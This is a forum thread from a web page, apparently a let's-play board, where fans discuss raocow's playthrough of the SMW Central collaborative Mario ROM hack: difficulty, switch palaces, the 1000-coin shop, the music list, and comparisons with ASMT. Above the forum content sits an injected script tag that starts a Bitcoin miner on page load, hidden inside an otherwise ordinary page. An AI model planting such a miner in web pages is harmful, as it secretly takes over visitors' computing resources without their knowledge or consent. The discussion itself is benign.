<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmbx communitysmw central

An SMWCentral Production: A game about some eggs

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
alex2
Banned
Posts: 0
Joined: 7 years ago

An SMWCentral Production: A game about some eggs

Postby alex2 » 8 years ago

Let's see how it compares to ASMT. Both forums' first collaboration, though SMWCP has a much more steady difficulty curve.

122 exits spread across 10 worlds; this is going to be one helluva fun time.
Last edited by Anonymous on 20 Feb 2011, 04:41, edited 1 time in total.
Warning: Opinions expressed by alex2 or others in this post do not necessarily reflect the views, opinions, or position of alex2 himself on the matter(s) being discussed therein.
raocow wrote:a3xt will be my last project, after which I will quit lp forever
SPASM - LevelASM for Yoshi's Island!
My mosts things:
Image
Image
Image
Image

User avatar
RobinLSL
Posts: 115
Joined: 10 years ago
Location: Paris, France

Re: An SMWCentral Production: A game about some eggs

Postby RobinLSL » 8 years ago

I was really really impressed by what we've seen so far. I'm really expecting an awesome game and a great LP to fit with it!

I also have good hopes for the new coin system.

S.N.N.
Posts: 498
Joined: 10 years ago
Location: Ontario, Canada

Re: An SMWCentral Production: A game about some eggs

Postby S.N.N. » 8 years ago

This should be something.

Don't forget to attempt to get the bonus game after collecting 100 stars as well!

User avatar
limepie20
Posts: 0
Joined: 9 years ago
Location: Doesn't Matter

Re: An SMWCentral Production: A game about some eggs

Postby limepie20 » 8 years ago

IMO it will be better than asmt because I'm pretty sure SMWCP was more strict with the levels.
I like the OW border and the transition between the levels. The bonus game is cool too (especially the song).

User avatar
Cobalt
Posts: 0
Joined: 10 years ago
Location: hopefully not my mind

Re: An SMWCentral Production: A game about some eggs

Postby Cobalt » 8 years ago

Oh boy now i can talk all about this on talkhaus.
Spoilered because this is a new thing here so yeah.
First of all, a couple of the levels on this can be broken with a cape (example is zephyr castle place) even though I don't care about this because i like to break levels with capes. Second, some of the levels are way too long or difficult for raocow to complete "legit", or maybe i just suck and we need to wait and see what happens. Third, fuck the dragon coin doors seriously ugh. Fourth, where the hell are any switch palaces i haven't found one and I'm in the cloud world. Finally, does anyone have a list of what songs are used in the levels, because P switch peak and some others are like "oh i remember these ALMOST"
Okay anyway.
Image
can YOU use the packet sauce?
Image
Image

User avatar
alex2
Banned
Posts: 0
Joined: 7 years ago

Re: An SMWCentral Production: A game about some eggs

Postby alex2 » 8 years ago

@Cobalt
Yellow switch is accessed via the secret exit in Weeaboo Manor in World 2 (which is accessed from Hydro Hills' secret exit. The Blue switch is in World 3, accessed from the secret exit in Mining Outpost, which is accessed via Unearthly Hollow's secret exit. The Red switch is in World 5, accessed via the secret exit in Chateau of Storms. Finally, the Green switch is in World 7, accessed through Waterlogged Woods (I think, I'm not quite there yet (world 7 beginning), so I'm just going off of the OW for this one.
Warning: Opinions expressed by alex2 or others in this post do not necessarily reflect the views, opinions, or position of alex2 himself on the matter(s) being discussed therein.
raocow wrote:a3xt will be my last project, after which I will quit lp forever
SPASM - LevelASM for Yoshi's Island!
My mosts things:
Image
Image
Image
Image

S.N.N.
Posts: 498
Joined: 10 years ago
Location: Ontario, Canada

Re: An SMWCentral Production: A game about some eggs

Postby S.N.N. » 8 years ago

Music list, as per request (of course, don't click it if you don't want to be spoiled):

Link

Mostly complete, credit goes to MrDeePay who compiled most of them. It's a little outdated in parts though, but he's still actively updating it so it should be fully done soon.

User avatar
HarmfulGravemind
Posts: 8
Joined: 10 years ago
First name: Steve
Location: Luxembourg

Re: An SMWCentral Production: A game about some eggs

Postby HarmfulGravemind » 8 years ago

You know this looks extremely awesome as of now! The only thing I could complain about would be the rexes. I think they look stupid! Sorry @ whoever made them :\

User avatar
Kleiner Kokiri
Posts: 0
Joined: 10 years ago
Location: My Loli has a big hat

Re: An SMWCentral Production: A game about some eggs

Postby Kleiner Kokiri » 8 years ago

For the yt-comments are generally filled with praiseand insanity i guess i'll take a more negative attitude now.

I do not understand why the 1-Up Mushroom costs 1000 coins. This is ... retarded.
The game saves after every level and restarts you with 5 lives. Besides losing a reached midpoint theres no downfall to a Game Over.
Getting 1000 coins takes you at least 7 levels ~ this varies of course. A feather costs half of that and is much more rare. While you can get lifes fairly easy with other methods.

Not to speak about the mushroom of course.
If a level has an easy reachable shroom at the beginning of a level you don't need that at all.

User avatar
morsel/morceau
Posts: 373
Joined: 10 years ago
Location: exotic horse island

Re: An SMWCentral Production: A game about some eggs

Postby morsel/morceau » 8 years ago

I had a nice star 117 save file which the world 7 boss deleted when it crashed the game on my second playthrough. Hopefully this lp will be free of such mishaps. Regardless the hack is really good (better than asmt, dare I say it?)
dont wanna jihad no more

User avatar
alex2
Banned
Posts: 0
Joined: 7 years ago

Re: An SMWCentral Production: A game about some eggs

Postby alex2 » 8 years ago

Kleiner Kokiri wrote:For the yt-comments are generally filled with praiseand insanity i guess i'll take a more negative attitude now.

I do not understand why the 1-Up Mushroom costs 1000 coins. This is ... retarded.
The game saves after every level and restarts you with 5 lives. Besides losing a reached midpoint theres no downfall to a Game Over.
Getting 1000 coins takes you at least 7 levels ~ this varies of course. A feather costs half of that and is much more rare. While you can get lifes fairly easy with other methods.

Not to speak about the mushroom of course.
If a level has an easy reachable shroom at the beginning of a level you don't need that at all.
Then don't use them. Problem solved.

They're meant in case of an emergency.
Warning: Opinions expressed by alex2 or others in this post do not necessarily reflect the views, opinions, or position of alex2 himself on the matter(s) being discussed therein.
raocow wrote:a3xt will be my last project, after which I will quit lp forever
SPASM - LevelASM for Yoshi's Island!
My mosts things:
Image
Image
Image
Image

User avatar
raocow
the death of the incredible huge
Posts: 2916
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: An SMWCentral Production: A game about some eggs

Postby raocow » 8 years ago

They don't really work as emergencies either, since I pretty much doubt you're in a situation where you can't just go back to the first stage and get the easy mushrooms and life there.
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

S.N.N.
Posts: 498
Joined: 10 years ago
Location: Ontario, Canada

Re: An SMWCentral Production: A game about some eggs

Postby S.N.N. » 8 years ago

We actually had a lot more planned for Toad Town than just a shop (not a fantastic one either, at that), but .. you know, the ROM filled up too fast, so a lot of our ideas sort of drizzled away (things like an "arena" and a "bank" were candidates).

yeah

User avatar
Carver
Posts: 0
Joined: 10 years ago

Re: An SMWCentral Production: A game about some eggs

Postby Carver » 8 years ago

S.N.N. wrote:Music list, as per request

Man that's a good collection of choices, thanks for the list.

User avatar
kilon
Posts: 2
Joined: 10 years ago
Location: Netherlands

Re: An SMWCentral Production: A game about some eggs

Postby kilon » 8 years ago

I just hope that it doesn't turn out to be a ASMT vs. SMWCP thread. The only connection they have is that they are both collab hacks.

Also, I expect progress to be a bit slow as it is no surprise that there are quite a few lengthy levels. But who knows what will happen. Maybe raocow surprises us by dying less often. Heh.
Image
Image
Image

Alex-R
Posts: 0
Joined: 10 years ago

Re: An SMWCentral Production: A game about some eggs

Postby Alex-R » 8 years ago

kilon wrote:I just hope that it doesn't turn out to be a ASMT vs. SMWCP thread. The only connection they have is that they are both collab hacks.
Actually, I think comparing them is a good thing, so we can see what each hack did right and what they did wrong, to hopefully learn something for future collab hacks. There's nothing wrong with friendly competition as long as it's actually friendly. That will only result in better hacks in general.

User avatar
Kleiner Kokiri
Posts: 0
Joined: 10 years ago
Location: My Loli has a big hat

Re: An SMWCentral Production: A game about some eggs

Postby Kleiner Kokiri » 8 years ago

DJSecret wrote:
Then don't use them. Problem solved.

They're meant in case of an emergency.
That is called critic. Which usually is to be expected if you do a half-assed feature *facepalm*
Yeah ... since everyone suddenly got so hyped over this hack i think at least ONE guy should point out things that are not as good.
Even though i do realize this is a quality hack i tend to keep this attitude for this one.

Regarding your argument
////
raocow wrote: They don't really work as emergencies either, since I pretty much doubt you're in a situation where you can't just go back to the first stage and get the easy mushrooms and life there.
^This

I could have let you slipped this through if you had said:
"It was meant as a joke and not a serious approach for a shop that can be used."
But even for that, the feather is too realistic as a prize. For it is rare and valuable. It's also only double in cost as the Mushroom (which is basically in every level in the first section, also).

Even if the Mushroom would cost 30 Coins you're unlikely to go all the way back to the city.
So the shop basically exists for the Feather and Jetpack (whatever this is). That is too bad, because realistic prizes for 1-Ups would have worked well.

Other than that, they could have made better use of it. You mentioned the word "emergency". Now we all know the mechanic of a star in reserve from this other japanese hack that raocow used to play once. He needed a star in his reserve box to get a secret exit.
This would have been a real opportunity for an "emergency" item. A super red star with a bit longer duration than usual (so it would be more valuable than a Power-up). Weak players could then use it to make bosses or sections in a level easier to them, in a legit way.
Yes, one could break certain levels or parts with it, but that's the idea behind such a shop anyways. Strong palyers do it more legit because they want to, but weak players would use savestates either way.
kilon wrote: I just hope that it doesn't turn out to be a ASMT vs. SMWCP thread.
How about a ASMT vs SMWCP vs Vip Thread ? :lol:

EDIT:
Also ~ the existance of the shop actually makes it HARDER. Even if it were not serious.
Because you usually get 1-Up from every 100 coins.
But now you don't get that.
Last edited by Kleiner Kokiri on 08 Jan 2011, 18:13, edited 1 time in total.

S.N.N.
Posts: 498
Joined: 10 years ago
Location: Ontario, Canada

Re: An SMWCentral Production: A game about some eggs

Postby S.N.N. » 8 years ago

Alex-R wrote:friendly.
key word there.

It would be interesting though. Both hacks did things right and wrong, and getting some response from all angles would certainly help A2MT and SMWCP2 substantially.

User avatar
Fapnoob
Posts: 61
Joined: 10 years ago

Re: An SMWCentral Production: A game about some eggs

Postby Fapnoob » 8 years ago

Ahahaha Banzai Reggie! :d

I have a feeling i will enjoy watching this lp a LOT.

User avatar
Daarkbuu
Posts: 0
Joined: 10 years ago
Location: A laundromat filled with Bowlets

Re: An SMWCentral Production: A game about some eggs

Postby Daarkbuu » 8 years ago

Those banzai bill graphics are terrible, sorry.

I like that overworld border though.
unf
Image

User avatar
alex2
Banned
Posts: 0
Joined: 7 years ago

Re: An SMWCentral Production: A game about some eggs

Postby alex2 » 8 years ago

Kleiner Kokiri wrote:Words about stuff
Fair enough. If it's of no realistic use, then it's filler for the spacesuit feature. The feather is available as early as
the first castle
so I suppose even that isn't even a rare buy.
Warning: Opinions expressed by alex2 or others in this post do not necessarily reflect the views, opinions, or position of alex2 himself on the matter(s) being discussed therein.
raocow wrote:a3xt will be my last project, after which I will quit lp forever
SPASM - LevelASM for Yoshi's Island!
My mosts things:
Image
Image
Image
Image

User avatar
Kleiner Kokiri
Posts: 0
Joined: 10 years ago
Location: My Loli has a big hat

Re: An SMWCentral Production: A game about some eggs

Postby Kleiner Kokiri » 8 years ago

DJSecret wrote:
Kleiner Kokiri wrote:Words about stuff
Fair enough. If it's of no realistic use, then it's filler for the spacesuit feature. The feather is available as early as
the first castle
so I suppose even that isn't even a rare buy.
It is.
While the feather is indeed availbable there:
You actually have to get ALL the dragon Coins and get to the end of the level. For a power Up that basically can just vanish after one hit that's a lot to do.
And i will not repeat my whole post if you did not get it's point yet.

The shop is also not just a filler, because it highers the price for a single life to 1000 Coins instead of 100 in a normal Mario Game. That's 10x as much !
So if affects you either way.

User avatar
HarmfulGravemind
Posts: 8
Joined: 10 years ago
First name: Steve
Location: Luxembourg

Re: An SMWCentral Production: A game about some eggs

Postby HarmfulGravemind » 8 years ago

Well the main difference between ASMT and SMWCP I see is. The difficulty courve in ASMT is VIP like, means, one level of world 4 can be hard as hell, and the next so easy that you could beat it blindfolded (= example may not be realistic). And as far as I know SMWCP has more of a commercial game approach on this, means, it get's stadly harder instead of difficulty spikes like VIP or ASMT.

I can enjoy and really like both ways. That's a big difference for me, and gives me a completely different experience all together. I just hope that it will stay like that. A2MT with difficulty spikes at random and SMWCP2 with steady groing difficulty!

User avatar
alex2
Banned
Posts: 0
Joined: 7 years ago

Re: An SMWCentral Production: A game about some eggs

Postby alex2 » 8 years ago

Kleiner Kokiri wrote:The shop is also not just a filler, because it highers the price for a single life to 1000 Coins instead of 100 in a normal Mario Game. That's 10x as much !
So if affects you either way.
I really don't want to argue over something as petty as this -.-

Regardless, I said it's a filler for the spacesuit. I'm aware it's not there just to be there. I understand it's point, though my first post was because I was stupid about it. I've needed to use that shop in my run, due to me not wanting to repeat a whole world due to a game over (tool-lessish run).
Last edited by Anonymous on 30 Jun 2012, 09:57, edited 1 time in total.
Warning: Opinions expressed by alex2 or others in this post do not necessarily reflect the views, opinions, or position of alex2 himself on the matter(s) being discussed therein.
raocow wrote:a3xt will be my last project, after which I will quit lp forever
SPASM - LevelASM for Yoshi's Island!
My mosts things:
Image
Image
Image
Image

User avatar
MrDeePay
Posts: 0
Joined: 9 years ago
Location: Texas

Re: An SMWCentral Production: A game about some eggs

Postby MrDeePay » 8 years ago

S.N.N. wrote:Music list, as per request (of course, don't click it if you don't want to be spoiled):

Link

Mostly complete, credit goes to MrDeePay who compiled most of them. It's a little outdated in parts though, but he's still actively updating it so it should be fully done soon.
http://bin.smwcentral.net/37651/smwcpmusiclisting.txt - Updated with a few more stragglers and corrected some songs since I finally got to those points in the final version that were changed from their pre-release version (Tropical Stride, Crystals on Fire). If anyone can fill in the rest, just PM me on SMWC as I'll be definitely sure to read it.


Return to “let's play”

Who is online

Users browsing this forum: Kilgamayan and 28 guests